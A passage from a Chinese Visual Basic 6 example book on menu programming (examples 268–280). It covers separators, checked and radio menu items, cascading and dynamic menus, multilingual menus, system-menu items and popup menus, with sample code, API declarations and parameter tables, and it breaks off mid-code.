初级

趣味指数：[image: ]




实例说明

在菜单中添加分割线可以将菜单项进行分组，使菜单功能清晰，方便用户操作。例如，在VB的“文件”菜单中就有这样一条线，将“打开”、“保存”、“打印”、“退出”命令分隔开。本实例介绍为菜单添加分割线的方法，添加的分割线效果如图9.3所示。

[image: ]
图9.3　为菜单添加分割线



要实现这样的分隔线，只需在“菜单编辑器”的“标题”文本框中输入一个连字符“-”，在“名称”文本框中输入相应的名称即可，效果如图9.4所示。

[image: ]
图9.4　设置菜单项



秘笈心法

心法领悟268：菜单分隔条的作用。

在运行时，菜单的分割条只是为了使菜单结构清晰明了，菜单的分隔条在运行时不能被选中，也不能执行代码。



 实例269　制作复选菜单

光盘位置：光盘\MR\09\269

初级

趣味指数：[image: ]




实例说明

在应用程序菜单中经常可以看到复选菜单，例如，在某些程序的“窗口”菜单中显示了当前该程序的打开窗口，以复选标记选中的菜单项就表示当前的活动窗口。本实例设计图像处理程序的菜单，演示如何制作一个复选菜单，程序的运行效果如图9.5所示。

[image: ]
图9.5　制作复选菜单



关键技术

在VB中可以使用菜单控件的Checked属性来创建复选标志。通过选择被标记为“复选”的复选框，设置菜单编辑器中的Checked属性的初始值。在运行时要从一个菜单控件上增加或删除复选标志，可以在代码中设置它的Checked属性。例如，使用下面的代码改变复选菜单项的状态。



jhd.Checked = Not jhd.Checked




设计过程

下面介绍设置复选菜单的过程。

（1）打开“菜单编辑器”，设置菜单项以后，在“指针状态”菜单项中选中“复选”复选框，如图9.6所示。

[image: ]
图9.6　设置菜单项



（2）设置完成后确定，添加如下代码进行复选菜单状态切换。



Private Sub state_Click(Index As Integer)
    Select Case Index
    Case 1
        state(1).Checked = True
        state(2).Checked = False
    Case 2
        state(2).Checked = True
        state(1).Checked = False
    End Select
End Sub




秘笈心法

心法领悟269：设置菜单项的注意事项。

“标题”属性和“名称”属性必须都设置，缺一不可，否则将不被菜单编辑器接受，索引值为空的两个菜单名称也不能相同。



 实例270　创建级联菜单

光盘位置：光盘\MR\09\270

中级

趣味指数：[image: ]




实例说明

级联菜单就是菜单项中还有下级菜单，如图9.7所示。使用级联菜单可以很好地将相近功能的菜单项分组，方便用户使用。

设计过程

级联菜单的设计步骤如下：

（1）单击工具菜单下的“菜单编辑器”，打开“菜单编辑器”窗口。

（2）在“菜单编辑器”窗口，创建主菜单只需在“标题”文本框中输入菜单标题；在“名称”文本框中输入菜单名称。

（3）创建一级菜单。单击一次[image: ]
 按钮，然后分别在“标题”文本框中输入菜单标题；在“名称”文本框中输入菜单名称。

（4）创建二级菜单。连击两次[image: ]
 按钮，然后分别在“标题”文本框中输入菜单标题；在“名称”文本框中输入菜单名称。

（5）创建三级菜单。连击三次[image: ]
 按钮，然后分别在“标题”文本框中输入菜单标题；在“名称”文本框中输入菜单名称。

（6）依此类推。创建几级菜单，就连击几次[image: ]
 按钮，但使用这种方法最多只能创建五级菜单。

级联菜单设计结果如图9.7所示，运行结果如图9.8所示。



	[image: ]
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	图9.7　级联菜单-1
	图9.8　级联菜单-2




秘笈心法

心法领悟270：获取菜单和删除菜单的API函数。

GetSystemMenu、DestroyMenu是API函数，分别用于获取系统菜单句柄、删除菜单。



 实例271　可收缩展开的菜单

光盘位置：光盘\MR\09\271

初级

趣味指数：[image: ]




实例说明

如果管理程序功能菜单非常多，而用户只使用一些常用菜单，可以将主菜单项下不经常使用的菜单隐藏起来，如图9.9所示，使用时，只需单击展开菜单项，即可显示相应菜单功能，如图9.10所示。
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	图9.9　菜单收缩
	图9.10　菜单展开




关键技术

对于一些不常用的菜单，可以将其隐藏起来，使用时，可以在其他菜单的Click事件过程将它显示出来，下面举例说明。

隐藏kcgl菜单，代码如下：



Kwdm.visible=false




如果显示kcgl菜单，则需要在其他菜单的Click事件过程中加入如下代码：



Kwdm.visible=true




设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）选择“工具”/“菜单编辑器”命令，打开“菜单编辑器”，设计如图9.9和图9.10所示的菜单。

（3）主要程序代码如下：



Private Sub main_search_Click()
   For i = 0 To 9                        '收缩菜单
     base(i).Visible = False
     mov(i).Visible = False
     search(i).Visible = True
   Next i
   kcgl.Tag = 1
   over
End Sub
Function over()
    PopupMenu kcgl, 0, 0, 0                   '展开菜单
End Function




秘笈心法

心法领悟271：使用菜单数组简化操作。

如果要隐藏的菜单很多，可以使用菜单数据将可以归类为一组的菜单创建为菜单数组，这样在代码设计时，就可以使用循环语句对菜单项进行设置了。



 实例272　动态创建菜单

光盘位置：光盘\MR\09\272

初级

趣味指数：[image: ]




实例说明

有时根据程序的需要在程序运行时动态地创建菜单。本实例实现在程序运行时动态创建菜单的功能，程序的运行效果如图9.11所示。

[image: ]
图9.11　动态创建菜单



关键技术

在程序运行时动态创建菜单首先要在程序设计时创建一个菜单数组，然后以动态创建菜单数组元素来创建菜单。在“菜单编辑器”中创建菜单数组的步骤如下：

（1）打开“菜单编辑器”，创建一个菜单项。

（2）设置菜单项的标题为“隐藏”、名称为MenuObj。

（3）设置菜单项的索引值为0，这样就创建了一个名为MenuObj的菜单数组。

（4）“可见”选项前的“√”符号去掉。单击“确定”按钮，设置完成。

在程序代码中使用Load语句创建菜单项，代码如下：



Load MenuObj(i + 1)                '动态添加菜单控件数组元素




这里的MenuObj是在程序设计时设计的菜单项，其必须为菜单数组形式，即索引值不为空。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）打开“菜单编辑器”，为程序设计菜单项。

（3）主要程序代码如下：



Private Sub Form_Load()
    Dim arr                        '设置变体类型变量
    arr = Array("文件", "编辑", "视图")        '创建数组
    Dim i As Integer                '声明整型变量
    For i = LBound(arr) To UBound(arr)        '变量数组元素
        Load MenuObj(i + 1)            '动态添加菜单控件数组元素
        MenuObj(i + 1).Caption = arr(i)        '设置菜单标题
        MenuObj(i + 1).Visible = True        '将菜单项设置为可见
    Next i
End Sub




秘笈心法

心法领悟272：使用菜单数组。

为菜单设置相同的名称，并设置不同的索引值，即可创建菜单数组。菜单数组的各元素在菜单控件列表框中必须是连续的，而且必须是同一级别的。如果菜单数组中使用了分隔线，那么要把它也作为菜单数组中的一个元素。使用Index可区分菜单数组中的项。


 9.2　制作个性化菜单



 实例273　制作多语言菜单

光盘位置：光盘\MR\09\273

高级

趣味指数：[image: ]




实例说明

开发国际化软件的前提是开发出来的软件必须支持多个国家的语言，并根据操作系统的语言版本选择相应的语言模式。例如，下面的程序在列表框中选择English列表项，更改程序界面的语言模式，如图9.12所示。将语言风格更改为英文模式后，程序的运行效果如图9.13所示。
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	图9.12　中文样式
	图9.13　英文样式




关键技术

本实例使用API函数GetPrivateProfileString实现窗体控件语言的转换。

GetPrivateProfileString函数为初始化文件中指定的条目取得字串，语法如下：



Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long




参数说明如表9.1所示。

表9.1　GetPrivateProfileString函数的参数说明



	参数
	说明



	lpApplicationName
	String，欲在其中查找条目的小节名称。这个字串不区分大小写。如设为vbNullString，就在lpReturnedString缓冲区内装载这个ini文件所有小节的列表



	lpKeyName
	String，欲获取的项名或条目名。这个字串不区分大小写。如设为vbNullString，就在lpReturnedString缓冲区内装载指定小节所有项的列表



	lpDefault
	String，指定的条目没有找到时返回的默认值。可设为空("")



	lpReturnedString
	String，指定一个字串缓冲区，长度至少为nSize



	nSize
	Long，指定装载到lpReturnedString缓冲区的最大字符数量



	lpFileName
	String，初始化文件的名字。如没有指定一个完整路径名，Windows就在Windows目录中查找文件




返回值：Long，复制到lpReturnedString缓冲区的字节数量，其中不包括那些Null中止字符。如lpReturnedString缓冲区不够大，不能容下全部信息，就返回nSize-1（若lpApplicationName或lpKeyName为Null，则返回nSize-2）。

设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为Frm_ThreadView。

（2）打开“菜单编辑器”，为程序设计菜单项。

（3）为程序设计工具栏等其他菜单。

（4）在工程中添加一个标准模块，实现语言转换的函数代码都写在这个标准模块中。

（5）新建一个程序的关于窗体。

（6）主要程序代码如下：



'API声明
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
'Private Declare Function GetPrivateProfileSection Lib "kernel32" Alias "GetPrivateProfileSectionA" (ByVal lpAppName As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
'#语言文件，可以修改为你想要的语言文件名称
Private Const LanguageFile = "Language.lng"
'#无法读取或读取错误时返回的字符串
Private Const UnkonwString = "Unknow"
Public Declare Function GetSystemDefaultLangID Lib "kernel32" () As Integer
'=====================================
'修改语言函数
'=====================================
Public Function GetLanguage() As String()
    On Error Resume Next                                        '错误处理
    Dim strReturn As String, lenReturn As Long
    strReturn = vbNullString                                    '值为零的字符串
    If Check Then
        strReturn = Space(&HFE)                                '创建指定长度字符串
        lenReturn = GetPrivateProfileString(vbNullString, vbNullString, vbNullString, strReturn, &HFF, App.Path & "\" & LanguageFile)                                                            '获取的字节数量
        GetLanguage = Split(Trim(Replace(Left(strReturn, lenReturn), Chr(0) & Chr(0), Chr(0))), Chr(0))    '返回字符串
    Else
        GetLanguage = Split("None")
    End If
End Function
    
Public Sub ChangeLanguage(Language As String)
    Dim i As Long, Ctrl As Control
    For i = 0 To Forms.Count – 1                                    '根据工程中窗体数量进行循环
        For Each Ctrl In Forms(i).Controls                            '遍历窗体中的控件
            Call ChangeLanguageSub(Ctrl, Language)                    '调用语言转换函数
        Next
    Next i
End Sub
    
Public Sub ChangeLanguageSub(ctlTarget As Control, Language As String)
    If TypeOf ctlTarget Is Menu Then                                '如果是菜单控件
        ctlTarget.Caption = GetString(Language, ctlTarget.Name)                '设置菜单标题
    End If
    If TypeOf ctlTarget Is Toolbar Then                                '如果是ToolBar控件
        Dim IButton
        For Each IButton In ctlTarget.Buttons                            '遍历ToolBar控件中的按钮
            IButton.Caption = GetString(Language, IButton.Key)                '修改按钮标题
            Dim IMenu
            For Each IMenu In IButton.ButtonMenus                    '遍历按钮菜单
                IMenu.Text = "   " & GetString(Language, IMenu.Key)            '修改按钮菜单文本
            Next
        Next
    End If
    If TypeOf ctlTarget Is ListView Then                                '如果是ListView控件
        Dim Header
        For Each Header In ctlTarget.ColumnHeaders                        '遍历ListView控件列标题
            Header.Text = GetString(Language, Header.Key)                '设置列标题
        Next
    End If
End Sub
    
'=====================================
'语言文件读写函数
'=====================================
Private Function Check()
    Check = IIf(Dir(App.Path & "\" & LanguageFile) = LanguageFile, True, False)
End Function
    
Private Function GetString(Language As String, Key As String) As String
    On Error Resume Next
    Dim strReturn As String
    Dim lenReturn As Long
    strReturn = vbNullString                                    '值为零的字符串
    If Check Then
        strReturn = Space(&HFE)                                '设置指定长度的字符串
        lenReturn = GetPrivateProfileString(Language, Key, Key, strReturn, &HFF, App.Path & "\" & LanguageFile)
        GetString = Left(strReturn, lenReturn)
    Else
        GetString = UnkonwString
    End If
End Function




秘笈心法

心法领悟273：如何给菜单添加事件处理代码。

每个菜单控件都有一个Click事件，当用户选择一个菜单控件时，便会触发这个事件，从而执行完成一些任务。除分隔符条以外的所有菜单控件（以及无效的或不可见的菜单控件）都能识别Click事件。

在菜单事件过程中编写的代码，与在其他控件的事件过程中编写代码完全相同。例如，当用户单击“退出”菜单项时，退出程序，代码如下：



Private Sub file_exit_Click()
    End
End Sub






 实例274　改变菜单的颜色

光盘位置：光盘\MR\09\274

中级

趣味指数：[image: ]




实例说明

菜单的默认颜色为黑色，不能通过菜单属性在设计时更改菜单颜色。改变菜单文字颜色能够设计个性化的菜单。本实例将菜单文字颜色设置为红棕色，程序的运行效果如图9.14所示。

[image: ]
图9.14　改变菜单颜色



关键技术

API函数SetSysColors可以设置指定窗口显示对象的颜色，在程序中可以通过它来改变菜单的颜色，语法如下：



Public Declare Function SetSysColors Lib "user32" Alias "SetSysColors" (ByVal nChanges As Long, lpSysColor As Long, lpColorValues As Long) As Long




参数说明如表9.2所示。

表9.2　SetSysColors函数的参数说明



	参数
	说明



	nChanges
	Long，欲改变的对象的数量



	lpSysColor
	Long，按引用传递。这是一个整数数组（总共包含nChanges个元素）的第一个元素。每个条目都包含了一个常数，指定一个Windows显示对象。参考GetSysColor函数



	lpColorValues
	Long，按引用传递。这是RGB值数组的第一个元素；该数组用于设置lpSysColor数组中的对象颜色




返回值：Long，非0表示成功，0表示失败。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）打开“菜单编辑器”，为程序设计菜单项。

（3）主要程序代码如下：



Private Sub Form_Load()
    SetSysColors 1, 7, &H80&        '设置菜单字体棕红色（可选择 &H0～&HFFFFFF 共16777216种颜色）
End Sub
Private Sub Form_Unload(Cancel As Integer)
    SetSysColors 1, 7, vbBlack        '恢复菜单颜色
End Sub




秘笈心法

心法领悟274：动态加载菜单。

下标为0的菜单项不能用Load方法进行加载，因为在程序执行时该菜单项已经被装入到内存中。



 实例275　创建菜单单选项

光盘位置：光盘\MR\09\275

中级

趣味指数：[image: ]




实例说明

通过使用VB自带的“菜单编辑器”只能创建复选菜单项，而不能创建单选菜单项。这里要介绍的是如何创建菜单单选项，实现效果如图9.15所示。

[image: ]
图9.15　创建菜单单选项



关键技术

创建菜单单选项主要通过使用API函数CheckMenuRadioItem实现。CheckMenuRadioItem函数用于指定一个菜单条目被复选成“单选”项目。与单选按钮相似，一个特定的组中只能有一个项目被选中。这个组别既可按位置定义，也可按菜单ID定义。复选的项目会显示一个圆形的样式复选符号（●），而不是一个标准的复选符号（√），语法如下：



Public Declare Function CheckMenuRadioItem Lib "user32" Alias "CheckMenuRadioItem" (ByVal hMenu As Long, ByVal un1 As Long, ByVal un2 As Long, ByVal un3 As Long, ByVal un4 As Long) As Long




参数说明如表9.3所示。

表9.3　CheckMenuRadioItem函数的参数说明



	参数
	说明



	hMenu
	Long，菜单句柄



	un1
	Long，组内第一个位置或菜单ID



	un2
	Long，组内最后一个位置或菜单ID



	un3
	Long，欲选的位置或菜单ID



	un4
	Long，如按照菜单的位置定位则设置为常量MF_BYPOSITION；如引用菜单ID，则设置为常量MF_BYCOMMAND




设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）打开“菜单编辑器”，为程序设计菜单项。

（3）主要程序代码如下。

窗体中主要代码如下：



Private Sub Menu_Click(Index As Integer)                        '菜单数组
    Dim hMenu As Long, hSubMenu As Long                        '声明变量用于保存句柄
    hMenu = GetMenu(Me.hwnd)                            '窗体内菜单句柄
    hSubMenu = GetSubMenu(hMenu, 0)                        '弹出菜单句柄
    CheckMenuRadioItem hSubMenu, 0, 2, Index, MF_BYPOSITION        '选中的菜单项
End Sub





说明：
 上面代码中的参数0,2是用于确定作为菜单单选项的范围为第一个子菜单项至第三个子菜单项。

在标准模块中代码如下：



Public Const MF_BYPOSITION = &H400&
Public Declare Function CheckMenuRadioItem Lib "user32" (ByVal hMenu As Long, ByVal un1 As Long, ByVal un2 As Long, ByVal un3 As Long, ByVal un4 As Long) As Long
Public Declare Function GetMenu Lib "user32" (ByVal hwnd As Long) As Long
Public Declare Function GetSubMenu Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long




秘笈心法

心法领悟275：CheckMenuRadioItem函数对菜单项的影响。

在VB中使用CheckMenuRadioItem函数，由这个函数做出的改动可以正常发挥作用，但不会由VB菜单的Checked属性反映出来。



 实例276　向系统菜单中添加自定义菜单

光盘位置：光盘\MR\09\276

中级

趣味指数：[image: ]




实例说明

当在窗体标题栏中单击鼠标右键时，会弹出包括“最大化”、“最小化”等命令的快捷菜单。本实例实现向系统菜单中添加“关于”菜单项，在窗体标题栏中单击鼠标右键，在弹出的快捷菜单中选择“关于”菜单项命令，打开关于窗体，实现效果如图9.16所示。

[image: ]
图9.16　在系统菜单中添加自定义菜单



关键技术

实现向系统菜单中插入自定义菜单项的功能主要通过使用API函数GetSystemMenu和InsertMenu实现的。

InsertMenu函数用于在菜单的指定位置处插入一个菜单条目，并根据需要将其他条目向下移动，语法如下：



Public Declare Function InsertMenu Lib "user32" Alias "InsertMenuA" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long, ByVal wIDNewItem As Long, ByVal lpNewItem As Any) As Long




参数说明如表9.4所示。

表9.4　InsertMenu函数的参数说明



	参数
	说明



	hMenu
	Long，菜单的句柄



	nPosition
	Long，定义了新条目插入点的一个现有菜单条目的标志符。如果在wFlags中指定了MF_BYCOMMAND标志，这个参数就代表欲改变的菜单条目的命令ID。如设置的是MF_BYPOSITION标志，这个参数就代表菜单条目在菜单中的位置，第一个条目的位置为0



	wFlags
	Long，一系列常数标志的组合



	wIDNewItem
	Long，指定菜单条目的新菜单ID。如果在wFlags中指定了MF_POPUP标志，就应该指定弹出式菜单的一个句柄



	lpNewItem
	如果在wFlags参数中设置了MF_STRING标志，就代表要设置到菜单中的字串（String）。如设置的是MF_BITMAP标志，就代表一个Long型变量，其中包含了一个位图句柄





说明：
 GetSystemMenu函数的详细讲解请参见实例247中的关键技术。

设计过程

（1）新建一个标准工程。

（2）创建一个新窗体，默认的“名称”属性为Form1。设置窗体的Caption属性为“向系统菜单中添加自定义菜单”。

（3）窗体Form1中代码如下：



Dim hMenu As Long                                                          '声明变量用于保存系统菜单句柄
Private Declare Function GetSystemMenu Lib "user32" (ByVal hwnd As Long, ByVal bRevert As Long) As Long          '用于获取系统菜单句柄
Private Declare Function DestroyMenu Lib "user32" (ByVal hMenu As Long) As Long            '清除菜单
'插入菜单项
Private Declare Function InsertMenu Lib "user32" Alias "InsertMenuA" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long, ByVal wIDNewItem As Long, ByVal lpNewItem As Any) As Long
   
Private Sub Form_Load()
    hMenu = GetSystemMenu(Me.hwnd, False)                                       '获取系统菜单句柄
    InsertMenu hMenu, 0, MF_SEPARATOR, ByVal 1&, ByVal 0&                       '插入分隔符
    InsertMenu hMenu, 0, MF_STRING, 1234, "关于本程序"                             '插入字符串
    OldWindowProc = GetWindowLong(Me.hwnd, GWL_WNDPROC)                     '保存系统默认的窗口消息处理函数的地址
    Call SetWindowLong(Me.hwnd, GWL_WNDPROC, AddressOf NewWindowProc)            '回调过程
End Sub
    
Private Sub Form_Unload(Cancel As Integer)
    DestroyMenu hMenu                                                              '删除菜单
End Sub




标准模块Module1中代码如下：



Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Public Const GWL_WNDPROC = -4&
Public OldWindowProc As Long
   
'自定义的消息处理函数，充当菜单事件
Public Function NewWindowProc(ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    On Error Resume Next
    '调用原消息处理函数
    NewWindowProc = CallWindowProc(OldWindowProc, hwnd, Msg, wParam, lParam)
    If Msg = &H112 Then                                         'WM_SYSCOMMAND消息
        If wParam = 1234 Then                                   '1234是"关于本程序"的标识
            frmAbout.Show 1                                     '显示帮助窗体
        End If
    End If
End Function




秘笈心法

心法领悟276：释放系统资源。

自定义添加到系统中的菜单要在程序运行结束后使用DestroyMenu函数删除，否则将会浪费不必要的资源。



 实例277　创建带历史信息的菜单

光盘位置：光盘\MR\09\277

初级

趣味指数：[image: ]




实例说明

很多软件菜单中都有历史信息菜单，VB中也能够为程序菜单添加历史信息。本实例实现在图片管理软件中记录打开图片文件的历史信息。可以查看打开图片的历史记录，程序的运行效果如图9.17所示。

[image: ]
图9.17　带历史信息的菜单



关键技术

要实现保存最近打开的文件，可以将在菜单中最近打开的文件的文件名和路径保存到事先建立的*.ini文件中，系统启动时读取*.ini中的数据建立数组菜单，即可实现显示历史菜单的功能。

使用Load语句在程序运行时动态加载菜单数组。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）选择“工具”/“菜单编辑器”命令，打开“菜单编辑器”，创建一个“文件”主菜单，在其下面创建打开、关闭所有、两个“_”和退出菜单命令。在“退出”前面插入一个索引值为0，“名称”为mnufilelist的数组菜单。

（3）用菜单编辑器创建编辑、调节等其他主菜单。

（4）在窗体加载时根据文件内容自动添加菜单的代码如下：



Private Sub MDIForm_Load()
    Dim file As Long
    Dim mystring As String
    Dim s As String
    Dim strfilename As String
    strfilename = App.Path & "\cdxx.ini"
    file = FreeFile()
    On Error Resume Next
    Open strfilename For Input As #file               '打开文件菜单列表
    Do While Not EOF(file)
        Line Input #file, mystring
        If mystring <> "" Then
            max_index = max_index + 1
            Load mnufilelist(max_index)            '动态加载菜单
            mnufilelist(max_index).Caption = mystring    '设置菜单标题
            mnufilelist(max_index).Visible = True        '菜单可见
        End If
    Loop
    Close #file                                   '关闭文件菜单列表
End Sub
Private Sub open_Click()                          '打开带图形的窗体
    CommonDialog1.filter = "所有图形文件" & "|*.jpg; *.bmp ; *.ico ;*.gif;*.cur"
    CommonDialog1.ShowOpen
    Static i As Integer
    If i < 1 Then i = 1
    main_frm.Visible = False
    Dim main As New main_frm
    main.Caption = CommonDialog1.FileName
    i = i + 1
    main.Picture = LoadPicture(CommonDialog1.FileName)
    main.Show
    max_index = mnufilelist.Count
    Load mnufilelist(max_index)                    '动态加载菜单
    mnufilelist(max_index).Caption = CommonDialog1.FileName
    mnufilelist(max_index).Visible = True
End Su




秘笈心法

心法领悟277：创建历史信息菜单。

要建立一个带历史信息的菜单，必须首先建立一个索引为0的子菜单，然后按照动态创建菜单数组的方法创建菜单项，以显示历史信息。



 实例278　创建分栏式菜单

光盘位置：光盘\MR\09\278

中级

趣味指数：[image: ]




实例说明

如果开发的管理程序功能菜单非常多，使用一列菜单显示不下或不易操作。可以将一列菜单按功能分成几栏显示，结果如图9.18所示。运行程序，选择“库存管理”命令，将看到“库存管理”菜单按使用类别分成了3栏，这样的菜单在实际程序开发中比较实用。

关键技术

使用GetMenu函数取得窗口菜单句柄；使用SetMenuItemInf函数设置菜单为多列菜单；利用DrawMenuBar函数重画菜单，从而实现多栏菜单，下面只介绍DrawMenuBar函数。

DrawMenuBar函数用于重画指定菜单的菜单条，语法如下：



Private Declare Function DrawMenuBar Lib "user32" (ByVal hwnd As Long) As Long




参数说明

hwnd：需要重画菜单条的窗口的句柄。

返回值：函数调用成功，返回非0值；否则返回0。

[image: ]
图9.18　分栏式菜单



设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）选择“工具”/“菜单编辑器”命令，打开“菜单编辑器”。

（3）主要程序代码如下：



Private Sub Form_Activate()
    Dim mnuItemInfo As MENUITEMINFO, hMenu As Long, hSubMenu As Long
    Dim BuffStr As String * 80
    hMenu = GetMenu(Me.hwnd)                                        '取得窗口菜单句柄
    BuffStr = Space(80)
    With mnuItemInfo                                               '初始化
        .cbSize = Len(mnuItemInfo)
        .dwTypeData = BuffStr & Chr(0)
        .fType = MF_STRING
        .cch = Len(mnuItemInfo.dwTypeData)
        .fState = MFS_DEFAULT
        .fMask = MIIM_ID Or MIIM_DATA Or MIIM_TYPE Or MIIM_SUBMENU
    End With
    hSubMenu = GetSubMenu(hMenu, 0)                                    '设置菜单选项
    If GetMenuItemInfo(hSubMenu, 0, True, mnuItemInfo) = 0 Then
        MsgBox "GetMenuItemInfo failed. Error: " & Err.LastDllError, , "Error"
    Else
        mnuItemInfo.fType = mnuItemInfo.fType Or MF_MENUBARBREAK
        If SetMenuItemInfo(hSubMenu, 12, True, mnuItemInfo) = 0 Then                 '设置菜单为两列菜单
            MsgBox "SetMenuItemInfo failed. Error: " & Err.LastDllError, , "Error"
        Else
            mnuItemInfo.fType = mnuItemInfo.fType Or MF_MENUBARBREAK
            If SetMenuItemInfo(hSubMenu, 24, True, mnuItemInfo) = 0 Then              '设置菜单为3列菜单
                MsgBox "SetMenuItemInfo failed. Error: " & Err.LastDllError, , "Error"
            End If
        End If
    End If
    DrawMenuBar (Me.hwnd)                                         '重画菜单
End Sub




秘笈心法

心法领悟278：修饰菜单。

可以在进行菜单设计时修饰菜单。在菜单标题上加上【】，使窗体上显示的菜单项更加美观。



 实例279　创建弹出式菜单

光盘位置：光盘\MR\09\279

初级

趣味指数：[image: ]




实例说明

弹出式菜单实际是显示在窗体上的快捷菜单，其显示的位置不受菜单栏的约束，可以自由地定义。在众多应用程序中普遍应用。本实例实现创建简单的弹出式菜单，来演示弹出式菜单的创建方法，程序的运行效果如图9.19所示。

[image: ]
图9.19　单击鼠标右键弹出菜单



关键技术

PopupMenu方法用以在MDIForm或Form对象上的当前鼠标位置或指定的坐标位置显示弹出式菜单。不支持命名参数，语法如下：



object.PopupMenu menuname, flags, x, y, boldcommand




PopupMenu方法的参数说明如表9.5所示。

表9.5　PopupMenu方法的参数说明



	参数
	说明



	object
	可选参数。一个对象表达式。如果省略object，则带有焦点的Form对象默认为object



	menuname
	必选参数。要显示的弹出式菜单名。指定的菜单必须含有至少一个子菜单



	flags
	可选参数。一个数值或常数，用以指定弹出式菜单的位置（如表9.6所示）和行为（如表9.7所示）



	x
	可选参数。指定显示弹出式菜单的x坐标。如果该参数省略，则使用鼠标的坐标



	y
	可选参数。指定显示弹出式菜单的y坐标。如果该参数省略，则使用鼠标的坐标



	boldcommand
	可选参数。指定弹出式菜单中的菜单控件的名字，用以显示其黑体正文标题。如果该参数省略，则弹出式菜单中没有以黑体字出现的控件




表9.6所示的是flags参数的设置值，用于设置菜单的弹出位置。

表9.6　弹出菜单的弹出位置



	常 数 位 置
	值
	说明



	vbPopupMenuLeftAlign
	0
	（默认值）弹出式菜单的左边定位于x



	vbPopupMenuCenterAlign
	4
	弹出式菜单的中心定位于x



	vbPopupMenuRightAlign
	8
	弹出式菜单的右边定位于x




表9.7所示的是flags参数的设置值，用于设置弹出菜单的相应行为。

表9.7　弹出菜单的相应行为



	常数位置
	值
	说明



	vbPopupMenuLeftButton
	0
	（默认值）仅当使用鼠标左键时，弹出式菜单中的项目才响应鼠标单击



	vbPopupMenuRightButton
	2
	不论使用鼠标右键还是左键，弹出式菜单中的项目都响应鼠标单击





注意：
 在使用PopupMenu方法时将不显示0级菜单项的标题，即当要弹出“添加”菜单时，在代码PopupMenu Frm_Menu.Add，Pic_Add.Left, Pic_Add.Top+Pic_Add.Height+10中，使用的菜单名称为Frm_Menu. Add，而在显示时，将不显示“添加”菜单，只显示“添加”菜单的子菜单。

设计过程

创建弹出式菜单的步骤如下：

（1）选择“工具”/“菜单编辑器”命令，打开“菜单编辑器”，将要设置为弹出式菜单的菜单设置子菜单，如果不希望它显示在菜单栏上，则将“可见”选项前的“√”符号去掉（或通过代码设置Visible属性为False）。

（2）使用PopupMenu方法，将菜单弹出，代码如下：



Private Sub Form_MouseDown (Button As Integer, Shift As Integer, X As Single, Y As Single)
   If Button = 2 Then                        '如果按下鼠标右键
      PopupMenu mnuFile                    '弹出菜单
   End If
End Sub




秘笈心法

心法领悟279：弹出式菜单的位置。

PopupMenu方法的x和y坐标定义了弹出式菜单相对于指定窗体显示的位置，可使用ScaleMode属性指定x和y坐标的度量单位。如果没有包括x和y坐标，则弹出式菜单就显示在鼠标指针的当前位置。



 实例280　控件上的弹出式菜单

光盘位置：光盘\MR\09\280

中级

趣味指数：[image: ]




实例说明

开发应用程序时，如果窗体要求简洁，不能使用太多的功能按钮，可以使用弹出菜单完成相应的按钮功能。本实例将对表格中的数据进行多种排序，这里使用了弹出式菜单。用户单击列标题，在弹出菜单中选择排序方式，即可对表格数据进行相应排序，如图9.20所示。

[image: ]
图9.20　控件上的弹出式菜单



关键技术

弹出式菜单同样还是使用的PopupMenu方法，排序则使用了MSHFlexGrid控件的Sort属性，该属性包括10个值，这些值的意义如表9.8所示。

表9.8　Sort属性值



	常数
	值
	说明



	flexSortNone
	0
	无。不执行排序



	flexSortGenericAscending
	1
	一般升序。执行估计文本不管是字符串或者是数字的升序排序



	flexSortGenericDescending
	2
	一般降序。执行估计文本不管是字符串或者是数字的降序排序



	flexSortNumericAscending
	3
	数值升序。执行将字符串转换为数值的升序排序



	flexSortNumericDescending
	4
	数值降序。执行将字符串转换为数值的降序排序



	flexSortStringNoCaseAsending
	5
	字符串升序。执行不区分字符串大小写比较的升序排序



	flexSortNoCaseDescending
	6
	字符串降序。执行不区分字符串大小写比较的降序排序。



	flexSortStringAscending
	7
	字符串升序。执行区分字符串大小写比较的升序排序。



	flexSortStringDescending
	8
	字符串降序。执行区分字符串大小写比较的降序排序。



	flexSortCustom
	9
	自定义。使用Compare事件比较行。




设计过程

（1）新建工程，添加窗体，将窗体的Caption属性设置为“控件上的弹出式菜单”。

（2）选择“工具”/“菜单编辑器”命令，打开“菜单编辑器”，设置菜单项，将“可见”选项前的“√”符号去掉（或通过代码设置Visible属性为False）。设置一个名为sort的菜单数组，设置其索引为0。

（3）在窗体上添加网格控件和ADO控件。设置ADO控件的属性，使其连接到数据源，将网格控件的数据源设置为ADO控件。

（4）主要程序代码如下：



Private Sub Form_Load()
    Adodc1.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\mrspbh.mdb;Persist Security Info=False"
    Adodc1.CommandType = adCmdTable
